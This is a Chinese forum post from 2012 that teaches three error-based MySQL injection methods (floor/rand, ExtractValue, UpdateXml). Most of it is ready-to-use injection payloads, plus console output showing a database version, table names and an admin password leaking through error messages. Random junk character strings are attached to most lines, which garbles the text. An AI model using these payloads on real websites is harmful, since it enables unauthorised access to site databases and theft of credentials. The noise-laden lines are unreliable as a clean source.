找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2451|回复: 0
打印 上一主题 下一主题

关于Mysql注入过程中的三种报错方式

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:28:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。1 y, n, N5 w$ `
实际测试环境:9 g6 X# M0 l( D
​
0 A. N9 |: v; _
6 N7 N' z6 x' L+ o9 }/ N; Emysql> show tables;
0 V+ g+ G" p1 H5 r- j7 R+----------------+9 d% I9 V/ D$ U) g- b9 q
| Tables_in_test |
3 X, |4 {% h2 B# I" j/ e: ~! d1 O3 J+----------------+
# f) W( U- c6 k" n6 m" [) n0 O| admin          |
# E( Q8 p; r% [% I' D& b| article        |
; z6 v# b! @7 n% m( B+----------------+7 K' p, v% A: x
) h3 U8 h% _) r* Y
% w$ ?9 }0 S- @0 [
4 c) x. t- }3 d. X
mysql> describe admin;
! z1 X" a, M1 \" G# e+-------+------------------+------+-----+---------+----------------+# F6 B% q" L% m# D
| Field | Type             | Null | Key | Default | Extra          |6 [$ o/ {. Z7 N- w& r' ~' F
+-------+------------------+------+-----+---------+----------------+
9 Z9 T, P" r1 f0 ^| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |/ A; U3 t+ _% z4 t6 U4 K" s
| user  | varchar(50)      | NO   |     | NULL    |                |; ~/ i6 O3 T7 A. s. ?" V4 d  ?
| pass  | varchar(50)      | NO   |     | NULL    |                |
: }7 ~" l# T. F6 {8 Y# T/ J+-------+------------------+------+-----+---------+----------------+
1 e9 ^3 g# h7 u: b5 _$ z  q ; O# j+ G( g4 r

! I. y  p2 s& p * W- v6 S* x, p, Y
mysql> describe article;& N6 w9 V& Z0 P+ |
+---------+------------------+------+-----+---------+----------------+
5 I& U- p1 [$ m2 c% f$ ]0 R| Field   | Type             | Null | Key | Default | Extra          |4 V% l0 r+ K$ G% p+ S1 C6 V8 ]
+---------+------------------+------+-----+---------+----------------+
$ e* H+ m2 c, e- x* S+ V0 P- g| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
6 t% c$ }2 H1 {| title   | varchar(50)      | NO   |     | NULL    |                |
8 I  O1 S& H3 ?| content | varchar(50)      | NO   |     | NULL    |                |! r8 Z% g# t( C' |1 Y
+---------+------------------+------+-----+---------+----------------+7 s% \9 c4 t3 y: S6 V  y$ P
1、通过floor报错0 v) I$ }9 C; j$ c2 j/ t! r* k
可以通过如下一些利用代码
0 z) p6 T' K/ ]. Y  |5 Q ( }' J& |' S( m3 D4 o2 k
( x5 a* b& Z( t/ h9 C* Q( |
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
! B: Q  u: O; F( Efrom information_schema.tables group by x)a);
- A/ W- e2 z- e( r0 t. {4 W6 x $ f# V% f% E+ r, k' u# p3 b
8 ?$ x+ \6 s5 q% C, a3 r* d# S2 l
and (select count(*) from (select 1 union select null union select !1)x
" U5 j- w3 Z+ h( f, \) X+ fgroup by concat((select table_name from information_schema.tables limit 1),
& R0 D; @8 m4 L% bfloor(rand(0)*2)));- Q; u7 s2 Y, |& g( L( C
举例如下:
) }; X9 q/ c& U首先进行正常查询:
2 Q2 W3 h5 @1 c7 u' C3 v & T* B9 r8 i1 j" B
mysql> select * from article where id = 1;7 Q; U/ @8 t+ D9 S
+----+-------+---------+
0 s4 q1 f, g8 j4 O, h* Z7 b, o, h| id | title | content |; g$ d) f  Z) l
+----+-------+---------+5 `$ X0 H  s) Y9 k
|  1 | test  | do it   |
6 C* I" u. J& ^. ]' ]% Z3 l+----+-------+---------+
( G( L9 s5 Q( [5 I9 o, M+ ]假如id输入存在注入的话,可以通过如下语句进行报错。- c; z$ n- Q/ c+ u

) X5 K* s! j# C- l# K+ R' f' [
! a8 K! D" \) L& X- pmysql> select * from article where id = 1 and (select 1 from7 w. T) s5 D7 v- y
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);0 {! X- P* p2 P7 m+ n9 n! H: u) U
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'( X4 N7 h  Q6 V5 [" b
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。- F" i) v% A2 \
例如我们需要查询管理员用户名和密码:3 G. x2 ~) l5 _0 H! F2 x
Method1:
% a7 f& ~3 e" {9 p- _8 X# } 0 x  p. R7 f. h
4 R8 E0 r. `/ }5 t
mysql> select * from article where id = 1 and (select 1 from
! t4 ?) m5 c; m(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x$ e# n- E  u  r8 p
from information_schema.tables group by x)a);2 H, U" }" x* N2 _5 h
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
5 O$ A" P% W( I+ T- g1 hMethod2:
* O9 J! _% u6 g1 Y, m- g 1 R/ U5 O* |) Y, r+ I

, d0 g' |; V1 Pmysql> select * from article where id = 1 and (select count(*)
8 B' n& v0 w" ?5 [from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),! n6 W% h4 p8 ]! }; r( o
floor(rand(0)*2)));
' h/ ^7 t1 u$ Z. F+ P4 jERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
! P) K5 k! d" ~5 J* |# g9 B3 B0 A2、ExtractValue3 I" A- g8 C0 t! Y& F, S: A5 L
测试语句如下5 B& ^0 [8 J  H

3 W# C# j% Y4 K# @5 d4 g2 H ) ], T- W  O& T' p0 L) k3 H
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
- \0 _) ~9 d9 Z" v- |  y, R* _实际测试过程0 `% l8 \6 N* s/ q2 E2 t% a/ C! V
* _+ n: B) U2 t+ O8 `

1 n& ]: P' `! e. N6 a- r0 _' l, _" Lmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
3 J+ P& A9 a. B! i) [! ~% [& G(select pass from admin limit 1)));--
( x: v) z6 g$ Y- G2 sERROR 1105 (HY000): XPATH syntax error: '\admin888'
' f* N* ?9 m% g7 ?0 @3、UpdateXml' Q$ P- y# I/ o5 J5 F/ e# p! T
测试语句
( A/ d- Z$ U9 | * K! W& f* S) _, X$ m0 d: L# y

7 K1 l/ P& S$ b7 I- kand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
8 r+ S! Y  u4 V+ [: K+ A  d实际测试过程# ]$ s# Z  t( T- L  I2 |
3 [! G. \4 y1 L' y5 s  L
8 @& M& W, E; e' Y0 ^* r6 T
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
7 g+ j; B; \% h) q4 t1 g(select pass from admin limit 1),0x5e24),1));
4 O. F0 {; l& N" y8 CERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
; j1 w6 W+ r1 z  g" NAll, thanks foreign guys.
. M& j! G. q7 k8 L ( q+ J  R/ c8 d- y0 S
​
3 |9 g, V* z7 g1 X4 O8 e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表